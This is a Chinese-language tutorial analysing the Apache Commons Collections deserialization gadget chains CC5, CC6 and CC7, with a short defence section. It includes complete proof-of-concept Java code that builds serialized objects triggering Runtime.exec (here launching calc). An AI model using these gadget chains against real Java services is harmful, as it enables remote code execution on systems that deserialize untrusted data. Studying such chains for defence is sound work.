CC链学习-中
字数 1093 2025-08-05 08:19:29

Apache Commons Collections 反序列化漏洞分析(CC5/CC6/CC7)

概述

本文详细分析Apache Commons Collections中的三个反序列化漏洞利用链(CC5、CC6、CC7),这些漏洞允许攻击者通过精心构造的序列化数据在目标系统上执行任意命令。

环境要求

  • JDK 1.7/1.8
  • Commons Collections 3.1

CC5利用链分析

利用链

ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

关键点解析

  1. BadAttributeValueExpException.readObject()

    • 在反序列化时调用valObj.toString()
    • valObj来自val成员变量,可通过反射设置
  2. TiedMapEntry.toString()

    • 调用getValue()方法
    • getValue()调用map.get()方法
    • map成员可控,设置为LazyMap对象
  3. LazyMap.get()

    • 当key不存在时,使用Transformer转换key
    • 通过ChainedTransformer构造命令执行链

POC代码分析

public static Object generatePayload() throws Exception {
    ChainedTransformer Transformerchain = new ChainedTransformer(
        new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", 
                new Class[]{String.class, Class[].class}, 
                new Object[]{"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke", 
                new Class[]{Object.class, Object[].class}, 
                new Object[]{null, new Object[0]}),
            new InvokerTransformer("exec", 
                new Class[]{String.class}, 
                new Object[]{"calc"})
        });
    
    HashMap innermap = new HashMap();
    LazyMap map = (LazyMap) LazyMap.decorate(innermap, Transformerchain);
    TiedMapEntry tiedmap = new TiedMapEntry(map, 123);
    
    BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
    Field val = Class.forName("javax.management.BadAttributeValueExpException")
                   .getDeclaredField("val");
    val.setAccessible(true);
    val.set(poc, tiedmap);
    return poc;
}

CC6利用链分析

利用链

java.io.ObjectInputStream.readObject()
HashSet.readObject()
HashMap.put()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

关键点解析

  1. HashSet.readObject()

    • 内部使用HashMap存储元素
    • 反序列化时调用HashMap.put()
  2. HashMap.hash()

    • 调用key的hashCode()方法
    • 设置key为TiedMapEntry对象
  3. TiedMapEntry.hashCode()

    • 调用getValue()
    • 最终触发LazyMap.get()

特殊处理

  • 使用fake Transformer防止本地调试时触发命令执行
  • 需要移除keykey避免提前触发:
    lazyMap.remove("keykey");
    

POC代码分析

public static Object generatePayload() throws Exception {
    Transformer fakeTransformerransformer = new ChainedTransformer(new Transformer[]{});
    Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", 
            new Class[]{String.class, Class[].class}, 
            new Object[]{"getRuntime", new Class[]{}}),
        new InvokerTransformer("invoke", 
            new Class[]{Object.class, Object[].class}, 
            new Object[]{null, new Object[]{}}),
        new InvokerTransformer("exec", 
            new Class[]{String.class}, 
            new Object[]{"calc"})
    };
    
    Map map = new HashMap();
    Map lazyMap = LazyMap.decorate(map, fakeTransformerransformer);
    TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "keykey");
    
    HashSet hashSet = new HashSet(1);
    hashSet.add(tiedMapEntry);
    lazyMap.remove("keykey");
    
    Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
    field.setAccessible(true);
    field.set(fakeTransformerransformer, transformers);
    return hashSet;
}

CC7利用链分析

利用链

Hashtable.readObject()
Hashtable.reconstitutionPut()
AbstractMapDecorator.equals()
AbstractMap.equals()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
...

关键点解析

  1. Hashtable.reconstitutionPut()

    • 调用e.key.equals(key)
    • 设置e.keykeyLazyMap对象
  2. AbstractMap.equals()

    • 调用m.get(key)
    • mkey可控
  3. 两次put的必要性

    • 第一次put填充tab数组
    • 第二次put触发equals比较

POC代码分析

public static void main(String[] args) throws Exception {
    Transformer[] fakeTransformerransformer = new Transformer[]{};
    Transformer[] transformers = new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", 
            new Class[]{String.class, Class[].class}, 
            new Object[]{"getRuntime", new Class[0]}),
        new InvokerTransformer("invoke", 
            new Class[]{Object.class, Object[].class}, 
            new Object[]{null, new Object[0]}),
        new InvokerTransformer("exec", 
            new Class[]{String.class}, 
            new Object[]{"calc"})
    };
    
    Transformer chainedTransformer = new ChainedTransformer(fakeTransformerransformer);
    
    Map innerMap1 = new HashMap();
    Map innerMap2 = new HashMap();
    Map lazyMap1 = LazyMap.decorate(innerMap1, chainedTransformer);
    lazyMap1.put("yy", 1);
    Map lazyMap2 = LazyMap.decorate(innerMap2, chainedTransformer);
    lazyMap2.put("zZ", 1);
    
    Hashtable hashtable = new Hashtable();
    hashtable.put(lazyMap1, "test");
    hashtable.put(lazyMap2, "test");
    
    Field field = chainedTransformer.getClass().getDeclaredField("iTransformers");
    field.setAccessible(true);
    field.set(chainedTransformer, transformers);
    
    lazyMap2.remove("yy");
    
    // 序列化和反序列化代码...
}

防御措施

  1. 升级Apache Commons Collections到安全版本
  2. 使用Java反序列化过滤器
  3. 避免反序列化不可信数据

总结

这三种利用链都利用了Apache Commons Collections中Transformer的链式调用特性,通过不同的入口点最终触发命令执行。理解这些利用链有助于更好地防御反序列化漏洞。

Apache Commons Collections 反序列化漏洞分析(CC5/CC6/CC7) 概述 本文详细分析Apache Commons Collections中的三个反序列化漏洞利用链(CC5、CC6、CC7),这些漏洞允许攻击者通过精心构造的序列化数据在目标系统上执行任意命令。 环境要求 JDK 1.7/1.8 Commons Collections 3.1 CC5利用链分析 利用链 关键点解析 BadAttributeValueExpException.readObject() 在反序列化时调用 valObj.toString() valObj 来自 val 成员变量,可通过反射设置 TiedMapEntry.toString() 调用 getValue() 方法 getValue() 调用 map.get() 方法 map 成员可控,设置为 LazyMap 对象 LazyMap.get() 当key不存在时,使用 Transformer 转换key 通过 ChainedTransformer 构造命令执行链 POC代码分析 CC6利用链分析 利用链 关键点解析 HashSet.readObject() 内部使用HashMap存储元素 反序列化时调用 HashMap.put() HashMap.hash() 调用key的 hashCode() 方法 设置key为 TiedMapEntry 对象 TiedMapEntry.hashCode() 调用 getValue() 最终触发 LazyMap.get() 特殊处理 使用fake Transformer防止本地调试时触发命令执行 需要移除 keykey 避免提前触发: POC代码分析 CC7利用链分析 利用链 关键点解析 Hashtable.reconstitutionPut() 调用 e.key.equals(key) 设置 e.key 和 key 为 LazyMap 对象 AbstractMap.equals() 调用 m.get(key) m 和 key 可控 两次put的必要性 第一次put填充tab数组 第二次put触发equals比较 POC代码分析 防御措施 升级Apache Commons Collections到安全版本 使用Java反序列化过滤器 避免反序列化不可信数据 总结 这三种利用链都利用了Apache Commons Collections中Transformer的链式调用特性,通过不同的入口点最终触发命令执行。理解这些利用链有助于更好地防御反序列化漏洞。